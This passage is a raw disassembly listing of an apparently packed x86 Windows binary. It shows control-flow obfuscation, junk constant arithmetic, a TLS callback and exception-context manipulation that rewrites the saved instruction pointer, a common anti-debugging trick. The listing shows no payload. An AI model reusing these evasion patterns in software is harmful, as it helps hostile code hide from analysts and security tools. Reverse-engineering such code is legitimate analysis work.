		call	sub_428183
		jmp	loc_427EA5
; ---------------------------------------------------------------------------


loc_42D73B:				; CODE XREF: wto1jq8f:00425D74j
					; sub_429BFF+Ej ...
		js	loc_426C47
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-4], 0
		jz	loc_42900A
		jmp	loc_42CCDE
; END OF FUNCTION CHUNK	FOR sub_429BFF

; =============== S U B	R O U T	I N E =======================================



sub_42D753	proc near		; DATA XREF: sub_426E98-CDBo
		mov	esp, ebp
		mov	ebp, offset sub_42D69D
		xchg	ebp, [esp+0]
		retn
sub_42D753	endp


; =============== S U B	R O U T	I N E =======================================



sub_42D75E	proc near		; DATA XREF: sub_42F99C+6o
		pop	ebp
		retn
sub_42D75E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D789


loc_42D760:				; CODE XREF: sub_42D789-7B9Bj
		jmp	nullsub_177
; END OF FUNCTION CHUNK	FOR sub_42D789

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42D765	proc near		; CODE XREF: sub_424406+A9p
					; sub_429E77-4DB2p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		mov	[ebp+var_4], eax
		call	sub_427A9E
		jmp	loc_42E563
sub_42D765	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429B76


loc_42D778:				; CODE XREF: sub_429B76:loc_42670Fj
		jnz	loc_42E2E6
		jmp	loc_42F650
; END OF FUNCTION CHUNK	FOR sub_429B76
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_162. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426AD4


loc_42D784:				; CODE XREF: sub_426AD4+15j
		jmp	loc_428B66
; END OF FUNCTION CHUNK	FOR sub_426AD4

; =============== S U B	R O U T	I N E =======================================



sub_42D789	proc near		; DATA XREF: sub_4245D6+5F34o

; FUNCTION CHUNK AT 00425BE9 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00426422 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004277E9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042A34B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042ADBC SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0042B8A6 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042D760 SIZE 00000005 BYTES

		neg	eax
		mov	[ebp-5], al


loc_42D78E:				; CODE XREF: wto1jq8f:0042ADC2j
		jnb	loc_42B8A6
		cmp	byte ptr [ebp-5], 0
		jnz	loc_425BE9
		push	offset sub_428D47
		jmp	nullsub_215
sub_42D789	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4244EA


loc_42D7A8:				; CODE XREF: sub_4244EA:loc_424F1Ej
		jz	loc_429E1E


loc_42D7AE:				; CODE XREF: sub_42E9E8-3090j
		jmp	loc_42F6FA
; END OF FUNCTION CHUNK	FOR sub_4244EA
; ---------------------------------------------------------------------------
		adc	eax, ebp
		jmp	loc_424281
; ---------------------------------------------------------------------------


loc_42D7BA:				; DATA XREF: wto1jq8f:00424B20o
		add	esi, 0C0437F17h
		xchg	esi, [esp]
		jmp	sub_42FB2F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_116. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42ED32


loc_42D7C9:				; CODE XREF: sub_42ED32+721j
		jmp	loc_4287A5
; END OF FUNCTION CHUNK	FOR sub_42ED32
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427143


loc_42D7CE:				; CODE XREF: sub_427143+3B3Aj
		jmp	nullsub_210
; END OF FUNCTION CHUNK	FOR sub_427143
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FF03


loc_42D7D3:				; CODE XREF: sub_42FF03+10j
		xchg	ebx, [esp+0]
		jmp	sub_424585
; END OF FUNCTION CHUNK	FOR sub_42FF03
; ---------------------------------------------------------------------------
		sbb	ebp, 0A23AFA50h
		sbb	edx, ecx
		jmp	loc_429773
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42506F


loc_42D7E8:				; CODE XREF: sub_42506F+2158j
		mov	ecx, ebp
		xchg	ecx, [esp+0Ch+var_C]
		call	sub_42AAF6
; END OF FUNCTION CHUNK	FOR sub_42506F
; START	OF FUNCTION CHUNK FOR sub_42CF50


loc_42D7F2:				; CODE XREF: sub_42CF50-5353j
		jmp	nullsub_86
; END OF FUNCTION CHUNK	FOR sub_42CF50
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429BD3


loc_42D7F7:				; CODE XREF: sub_429BD3-118Aj
		and	eax, esi
		shr	edx, 17h
		jno	loc_42E9A3


loc_42D802:				; CODE XREF: sub_429BD3:loc_42B9B4j
		mov	eax, [ebp-0Ch]
		jmp	loc_4242BB
; END OF FUNCTION CHUNK	FOR sub_429BD3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B02D


loc_42D80A:				; CODE XREF: sub_42B02D:loc_42A8CFj
		call	sub_426C04
		mov	ds:dword_42FB5C, eax


loc_42D814:				; CODE XREF: sub_424573+2j
					; wto1jq8f:00424580j ...
		mov	esp, ebp
		pop	ebp
		jmp	loc_4265A4
; END OF FUNCTION CHUNK	FOR sub_42B02D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C6C3


loc_42D81C:				; CODE XREF: sub_42C6C3:loc_42484Fj
		jnz	loc_42B261


loc_42D822:				; CODE XREF: sub_426C0C:loc_42A85Dj
		add	eax, 28h
		call	sub_4282FE


loc_42D82A:				; CODE XREF: sub_42C4B3+11j
		pop	edx
		push	eax
		mov	edx, 0FFFFFFFFh
		push	edx
		push	eax
		call	sub_42C6B1
		push	edi
		jmp	loc_42E82E
; END OF FUNCTION CHUNK	FOR sub_42C6C3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_126. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_42D83F:				; CODE XREF: wto1jq8f:004275C7j
		jmp	locret_42428E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424D63


loc_42D844:				; CODE XREF: sub_424D63+11j
		jmp	loc_42EA63
; END OF FUNCTION CHUNK	FOR sub_424D63

; =============== S U B	R O U T	I N E =======================================



sub_42D849	proc near		; DATA XREF: sub_42E369+14o
		mov	eax, [eax]
		call	sub_42EDB9
sub_42D849	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_428B3E


loc_42D850:				; CODE XREF: sub_428B3E+3802j
		jmp	nullsub_88
; END OF FUNCTION CHUNK	FOR sub_428B3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426968


loc_42D855:				; CODE XREF: sub_426968+7FACj
		jnp	loc_427D52


loc_42D85B:				; CODE XREF: sub_426968:loc_427D9Cj
		call	sub_424585
		mov	edx, 0EF9F7D01h
		call	sub_429165
		jmp	loc_42EDAE
; END OF FUNCTION CHUNK	FOR sub_426968

; =============== S U B	R O U T	I N E =======================================



sub_42D86F	proc near		; DATA XREF: sub_428136:loc_428FC7o

; FUNCTION CHUNK AT 0042449F SIZE 00000005 BYTES

		mov	[edi], eax
		pop	edi
		jmp	loc_42449F
sub_42D86F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42D877	proc near		; CODE XREF: sub_42F563j

; FUNCTION CHUNK AT 00426FF0 SIZE 00000005 BYTES

		push	ebx
		push	offset sub_42BB75
		jmp	loc_426FF0
sub_42D877	endp


; =============== S U B	R O U T	I N E =======================================



sub_42D882	proc near		; CODE XREF: sub_42FE4C:loc_426DE0p
					; wto1jq8f:0042CF1Bj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00425B97 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0042E641 SIZE 00000005 BYTES

		mov	[esp+4+var_4], edx
		pop	edx
		call	sub_424585
		push	0DC41F8A9h
		pop	edx
		sub	edx, 0D0B86360h
		and	edx, 5EED94F1h
		jmp	loc_42E641
sub_42D882	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		cmp	ecx, edi
		jmp	loc_4265FA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424D3A


loc_42D8A9:				; CODE XREF: sub_424D3A+5A34j
		cmp	eax, 5178D631h
		jmp	loc_42C9C4
; END OF FUNCTION CHUNK	FOR sub_424D3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B276


loc_42D8B4:				; CODE XREF: sub_42B276+9j
		xchg	eax, [esp+0]
		jo	loc_42B92F
		rol	edx, 5
		mov	eax, edx
		and	ecx, ebx
		sub	edx, ecx
		pop	ebx
		pop	edx
		jmp	loc_42B922
; END OF FUNCTION CHUNK	FOR sub_42B276
; ---------------------------------------------------------------------------
		pop	eax
		jmp	sub_42F9AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429BFF


loc_42D8D3:				; CODE XREF: sub_429BFF:loc_426DA6j
					; sub_42E4DB+9j
		test	al, al
		jz	nullsub_15
		jmp	loc_427A88
; END OF FUNCTION CHUNK	FOR sub_429BFF
; ---------------------------------------------------------------------------
		jz	loc_42F44D
		sbb	esi, edi
		jmp	sub_42EA31
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_33. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		pop	eax
		jmp	sub_42FED8

; =============== S U B	R O U T	I N E =======================================



sub_42D8F4	proc near		; CODE XREF: wto1jq8f:00424B38p
					; wto1jq8f:00428929j
		xchg	eax, [esp+0]
		pop	eax
		call	sub_42D910
		mov	[ebp-4], eax
sub_42D8F4	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_42760F


loc_42D900:				; CODE XREF: sub_42760F-2C44j
					; wto1jq8f:loc_424B2Bj	...
		mov	eax, [ebp-1Ch]
		call	sub_42FC85
		mov	[ebp-8], eax
		jmp	loc_42F2BD
; END OF FUNCTION CHUNK	FOR sub_42760F

; =============== S U B	R O U T	I N E =======================================



sub_42D910	proc near		; CODE XREF: sub_427E50+5p
					; sub_4266B1+353Fp ...
		jno	sub_42C507
		jmp	sub_42CFE2
sub_42D910	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424F7A


loc_42D91B:				; CODE XREF: sub_424F7A:loc_42755Aj
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_42905C
		or	eax, eax


loc_42D926:				; CODE XREF: wto1jq8f:0042C81Cj
		jnz	loc_4280B2
		jmp	loc_427840
; END OF FUNCTION CHUNK	FOR sub_424F7A
; ---------------------------------------------------------------------------
		cmp	esi, 0D4F2B3FAh
		jmp	loc_427BBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EFB5


loc_42D93C:				; CODE XREF: sub_42EFB5:loc_42BD22j
		add	esi, 0B50CCCEBh
		add	ecx, edx
		jmp	loc_427DF3
; END OF FUNCTION CHUNK	FOR sub_42EFB5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E9E8


loc_42D949:				; CODE XREF: sub_42E9E8:loc_4284D4j
		call	sub_4296B3


loc_42D94E:				; CODE XREF: sub_42EE54+14j
		jmp	loc_427782
; END OF FUNCTION CHUNK	FOR sub_42E9E8

; =============== S U B	R O U T	I N E =======================================



sub_42D953	proc near		; DATA XREF: sub_426E98+4B12o

; FUNCTION CHUNK AT 0042D6DE SIZE 00000005 BYTES

		add	eax, 6FCC0316h
		push	offset sub_42E808
		jmp	loc_42D6DE
sub_42D953	endp

; ---------------------------------------------------------------------------


loc_42D963:				; CODE XREF: wto1jq8f:0042C0AAj
		jnz	loc_426F81
		jmp	loc_42B047
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_232. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426E98


loc_42D96F:				; CODE XREF: sub_426E98+D9j
		jmp	loc_424733
; END OF FUNCTION CHUNK	FOR sub_426E98
; ---------------------------------------------------------------------------


loc_42D974:				; CODE XREF: wto1jq8f:loc_42B114j
					; wto1jq8f:0042C7FEj
		push	ebx
		push	17544EB7h
		pop	ebx
		add	ebx, 0E8EE0DFDh
		xchg	ebx, [esp]
		jmp	loc_42D3AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426144


loc_42D989:				; CODE XREF: sub_426144:loc_42DF9Cj
		pop	ebp
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_426144
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4260DB


loc_42D98D:				; CODE XREF: sub_4260DB+33j
		jmp	loc_425D4A
; END OF FUNCTION CHUNK	FOR sub_4260DB
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_246. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_42D993	proc near		; CODE XREF: TlsCallback_0+21D7p
					; sub_42C21B+Dj

; FUNCTION CHUNK AT 004294AA SIZE 00000005 BYTES

		mov	eax, offset dword_42F1D0
		jmp	loc_4294AA
sub_42D993	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CE80


loc_42D99D:				; CODE XREF: sub_42CE80+9j
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		mov	[ebp-8], eax
		push	offset loc_42BF23
		jmp	loc_42D408
; END OF FUNCTION CHUNK	FOR sub_42CE80

; =============== S U B	R O U T	I N E =======================================



sub_42D9B0	proc near		; CODE XREF: sub_42D67C:loc_42BD85j

; FUNCTION CHUNK AT 00425D16 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00427037 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042961F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042AD30 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F4C2 SIZE 0000001C BYTES

		add	esp, 0FFFFFFF8h
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		mov	[ebp-8], eax
		mov	eax, [ebp+8]
		test	byte ptr [eax-7], 10h
		jmp	loc_42AD30
sub_42D9B0	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_154. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425B8C


loc_42D9C9:				; CODE XREF: sub_425B8C+9039j
		jmp	nullsub_151
; END OF FUNCTION CHUNK	FOR sub_425B8C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D9FC


loc_42D9CE:				; CODE XREF: sub_42D9FC+Aj
		jmp	loc_4273BA
; END OF FUNCTION CHUNK	FOR sub_42D9FC
; ---------------------------------------------------------------------------


loc_42D9D3:				; CODE XREF: wto1jq8f:00427F7Dj
		sbb	esi, 648A7D0h

; =============== S U B	R O U T	I N E =======================================



sub_42D9D9	proc near		; CODE XREF: sub_426E98+47D2p

; FUNCTION CHUNK AT 0042491F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00424A05 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424A5E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424B66 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042676E SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00426994 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00426E8E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004280BA SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042876D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004289C7 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00429D86 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0042A878 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042AC95 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042C652 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C9C9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042D0A2 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042D40D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F09C SIZE 00000005 BYTES

		mov	[esp+0], eax
		pop	eax
		cmp	dword ptr [ebp-8], 0
		jnz	loc_42D0A2


loc_42D9E7:				; CODE XREF: sub_42D09Cj
					; sub_42AEDD:loc_42FBD4j
		jnz	loc_429D96
		cmp	dword ptr [ebp-1Ch], 66h
		jnz	loc_42676E
		jmp	loc_42A878
sub_42D9D9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42D9FC	proc near		; DATA XREF: sub_42506F+6CA8o

; FUNCTION CHUNK AT 00424668 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0042733C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004273BA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042D9CE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042EB65 SIZE 0000000E BYTES

		cmp	dword ptr [ebp-8], 19h
		jnz	loc_425074
		jmp	loc_42D9CE
sub_42D9FC	endp

; ---------------------------------------------------------------------------


loc_42DA0B:				; CODE XREF: wto1jq8f:00425F3Cj
					; wto1jq8f:0042CC91j
		js	loc_42F630
		add	edi, 0B9B5EB10h
		shr	esi, 0Fh
; START	OF FUNCTION CHUNK FOR sub_429BFF


loc_42DA1A:				; CODE XREF: sub_429BFF:loc_42C8B6j
		xor	eax, 99C3FDB2h
		add	eax, ebp
		add	eax, 7DA36DAEh
		jmp	loc_42E589
; END OF FUNCTION CHUNK	FOR sub_429BFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C486


loc_42DA2D:				; CODE XREF: sub_42C486+72Bj
		popf
		test	ecx, edx
		jmp	loc_425BD2
; END OF FUNCTION CHUNK	FOR sub_42C486

; =============== S U B	R O U T	I N E =======================================



sub_42DA35	proc near		; CODE XREF: wto1jq8f:00424E37p
					; wto1jq8f:0042949Bj

; FUNCTION CHUNK AT 0042CCC5 SIZE 00000003 BYTES

		mov	[esp+0], edx
		pop	edx
		push	ebp
		mov	ebp, esp
		push	eax


loc_42DA3D:				; CODE XREF: sub_42D69D+1368j
		jmp	loc_42CCC5
sub_42DA35	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42DA42	proc near		; CODE XREF: wto1jq8f:00425100j
					; sub_42FD33+5p
		mov	[esp+0], edx
		pop	edx
		push	0
		call	sub_42CEBE
sub_42DA42	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_4282C1


loc_42DA4D:				; CODE XREF: sub_4282C1+5D47j
		push	0FD50022Bh
		pop	ecx
		add	ecx, 0E91406E2h
		and	ecx, 11E5AC22h
		call	sub_42DE87


loc_42DA64:				; CODE XREF: sub_4291B9-24ECj
		jmp	loc_42D3C6
; END OF FUNCTION CHUNK	FOR sub_4282C1
; ---------------------------------------------------------------------------


loc_42DA69:				; DATA XREF: sub_424859+6F07o
		push	ecx
		push	esi
		push	50551F55h
		call	sub_42C698
; START	OF FUNCTION CHUNK FOR sub_42604C


loc_42DA75:				; CODE XREF: sub_42604C+3DABj
		jmp	loc_42CE4E
; END OF FUNCTION CHUNK	FOR sub_42604C
; ---------------------------------------------------------------------------


loc_42DA7A:				; DATA XREF: sub_426166+Ao
		or	eax, eax
		jnz	loc_427F44
		jmp	loc_42B114
; ---------------------------------------------------------------------------
		pushf
		jmp	sub_42DE1F
; ---------------------------------------------------------------------------


loc_42DA8D:				; CODE XREF: wto1jq8f:0042E4D0j
		push	0CEF18DAAh

; =============== S U B	R O U T	I N E =======================================



sub_42DA92	proc near		; CODE XREF: sub_42E833p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004270A6 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 004277F5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E796 SIZE 00000005 BYTES

		mov	[esp+0], edx


loc_42DA95:				; CODE XREF: sub_42C486:loc_42AD95j
		pop	edx
		push	ebp
		mov	ebp, esp
		jmp	loc_4277F5
sub_42DA92	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_152. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F99C


loc_42DA9F:				; CODE XREF: sub_42F99C+Bj
		jmp	nullsub_249
; END OF FUNCTION CHUNK	FOR sub_42F99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D35A


loc_42DAA4:				; CODE XREF: sub_42D35A+9j
		jmp	loc_42B7C6
; END OF FUNCTION CHUNK	FOR sub_42D35A
; ---------------------------------------------------------------------------


loc_42DAA9:				; CODE XREF: wto1jq8f:004294EFj
		jmp	loc_42A62A
; ---------------------------------------------------------------------------


loc_42DAAE:				; DATA XREF: sub_426A84+6o
		push	0B7F375F7h
		pop	eax
		push	offset loc_429A0D
		jmp	locret_429B60
; ---------------------------------------------------------------------------
		add	ebp, edx
		jmp	loc_429E5A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429471


loc_42DAC5:				; CODE XREF: sub_429471+Ej
		jz	loc_42661B
		jmp	loc_424E5D
; END OF FUNCTION CHUNK	FOR sub_429471
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D434


loc_42DAD0:				; CODE XREF: sub_42D434-51FBj
		xchg	eax, [esp-4+arg_0]
		xchg	eax, edx
		push	edx
		xchg	eax, edx
		push	4CA01415h
		add	eax, edi
		jmp	loc_42A803
; END OF FUNCTION CHUNK	FOR sub_42D434
; ---------------------------------------------------------------------------
dword_42DAE4	dd 0							; sub_42C031:loc_428DB1w ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427A8D


loc_42DAE8:				; CODE XREF: sub_427A8D+7AC1j
		jmp	loc_42FC2D
; END OF FUNCTION CHUNK	FOR sub_427A8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424859


loc_42DAED:				; CODE XREF: sub_424859+1j
		jmp	loc_42B75D
; END OF FUNCTION CHUNK	FOR sub_424859
; ---------------------------------------------------------------------------
		dw 4FC9h
dword_42DAF4	dd 7372ACDAh, 23336CCAh, 6C3632E2h					; wto1jq8f:loc_42C9B5o
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B866


loc_42DB01:				; CODE XREF: sub_42B866+7j
		jmp	nullsub_237
; END OF FUNCTION CHUNK	FOR sub_42B866
; ---------------------------------------------------------------------------
		dw 26A8h
dword_42DB08	dd 0							; sub_42AA04r ...
dword_42DB0C	dd 0							; sub_42C507-59Dw ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C547


loc_42DB10:				; CODE XREF: sub_42C547+10j
		jmp	loc_42D20A
; END OF FUNCTION CHUNK	FOR sub_42C547
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42ADC7


loc_42DB15:				; CODE XREF: sub_42ADC7+Aj
		jmp	loc_428B21
; END OF FUNCTION CHUNK	FOR sub_42ADC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C486


loc_42DB1A:				; CODE XREF: sub_42C486-52F9j
		jmp	loc_42E602
; END OF FUNCTION CHUNK	FOR sub_42C486
; ---------------------------------------------------------------------------
		db 7Eh
dword_42DB20	dd 0		; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429165


loc_42DB24:				; CODE XREF: sub_426535:loc_428651j
					; sub_429165:loc_42F17Bj
		jz	loc_4250CA
		mov	eax, [ebp+var_4]
		push	offset loc_42EF53
		jmp	nullsub_164
; END OF FUNCTION CHUNK	FOR sub_429165
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429B76


loc_42DB37:				; CODE XREF: sub_429B76+5BADj
		push	1A65E1BAh
		pop	edi
		rol	edi, 11h
		add	edi, 3CCE50F7h
		jmp	loc_42E635
; END OF FUNCTION CHUNK	FOR sub_429B76
; ---------------------------------------------------------------------------


loc_42DB4B:				; CODE XREF: wto1jq8f:loc_42ABC0j
		jge	sub_42E337
		pushf

; =============== S U B	R O U T	I N E =======================================



sub_42DB52	proc near		; CODE XREF: sub_42F185:loc_42AF78p

; FUNCTION CHUNK AT 00424873 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00426485 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00426AA4 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00427F0F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00428F51 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428F8A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0042A9A6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042DBFE SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		call	sub_427450
		push	edx
		push	3327F2A3h
		jmp	loc_426AA4
sub_42DB52	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42DB66:				; CODE XREF: wto1jq8f:loc_42AC67j
		xchg	edx, [esp]
		jmp	sub_42C547
; ---------------------------------------------------------------------------


loc_42DB6E:				; DATA XREF: sub_42C698+9o
		xchg	eax, [esp]
		push	offset sub_42BD31
		jmp	locret_426410
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42727F


loc_42DB7B:				; CODE XREF: sub_42727F-C16j
		jl	loc_426E1B
		jbe	loc_42755A
		jmp	loc_426E10
; END OF FUNCTION CHUNK	FOR sub_42727F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4244EA


loc_42DB8C:				; CODE XREF: sub_4244EA+3982j
		jg	loc_425B9F


loc_42DB92:				; CODE XREF: sub_4244EA:loc_42B97Fj
		lea	edx, [ebp-14h]
		push	55533B44h
		pop	eax
		or	eax, 0C009D3DDh
		jmp	loc_429E88
; END OF FUNCTION CHUNK	FOR sub_4244EA

; =============== S U B	R O U T	I N E =======================================



sub_42DBA6	proc near		; DATA XREF: wto1jq8f:00427836o

arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0042880E SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00428F96 SIZE 00000005 BYTES

		push	ebp
		xchg	ecx, ebp
		mov	ecx, [esp+4+arg_8]
		mov	dword ptr [ecx], 10001h
		lea	eax, loc_424294
		push	edi
		push	0E6565CD6h
		pop	edi
		jmp	loc_428F96
sub_42DBA6	endp

; ---------------------------------------------------------------------------


loc_42DBC5:				; DATA XREF: sub_42FC41-1D52o
		mov	[ebp-0Ch], eax
		cmp	dword ptr [ebp-4], 0
		jz	loc_4250CA
; START	OF FUNCTION CHUNK FOR sub_42655A


loc_42DBD2:				; CODE XREF: sub_42655A:loc_42C26Dj
		call	sub_427A9E
; END OF FUNCTION CHUNK	FOR sub_42655A
; START	OF FUNCTION CHUNK FOR sub_429165


loc_42DBD7:				; CODE XREF: sub_429165:loc_42A1C7j
					; sub_42760F:loc_42F2BDj
		jnz	loc_42AB85
		xor	eax, eax
		mov	[ebp+var_C], eax
		jmp	loc_42D608
; END OF FUNCTION CHUNK	FOR sub_429165
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BE69


loc_42DBE7:				; CODE XREF: sub_42BE69-147Aj
		sub	ebx, ecx


loc_42DBE9:				; CODE XREF: sub_42BE69:loc_42BA74j
		push	offset loc_42EF9D
		jmp	nullsub_140
; END OF FUNCTION CHUNK	FOR sub_42BE69
; ---------------------------------------------------------------------------


loc_42DBF3:				; CODE XREF: wto1jq8f:0042BDDFj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C486


loc_42DBF4:				; CODE XREF: sub_42C486-8DEj
		jmp	loc_427959
; END OF FUNCTION CHUNK	FOR sub_42C486
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D4FD


loc_42DBF9:				; CODE XREF: sub_42D4FD-238Bj
		jmp	loc_42F9F6
; END OF FUNCTION CHUNK	FOR sub_42D4FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DB52


loc_42DBFE:				; CODE XREF: sub_42DB52-709Dj
		jmp	loc_428F8A
; END OF FUNCTION CHUNK	FOR sub_42DB52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FACF


loc_42DC03:				; CODE XREF: sub_42FACF-375Bj
		and	edi, 0E12DC688h


loc_42DC09:				; CODE XREF: sub_42FACF:loc_424830j
		push	2
		push	400h
		push	0F48D1C5Dh
		pop	eax
		jmp	loc_42C3F3
; END OF FUNCTION CHUNK	FOR sub_42FACF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_42DC1B:				; CODE XREF: sub_426535+4482j
		jnb	nullsub_99
		jp	loc_42F1BC
		xor	esi, ebp
		jmp	loc_42492E
; END OF FUNCTION CHUNK	FOR sub_426535
; ---------------------------------------------------------------------------
		mov	ecx, [esp+10h]
		mov	dword ptr [ecx], 10001h
		lea	eax, loc_4272DE
		mov	[ecx+0B8h], eax
		pop	ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BE7E


loc_42DC48:				; CODE XREF: sub_42BE7E+Dj
		jmp	loc_42C1CB
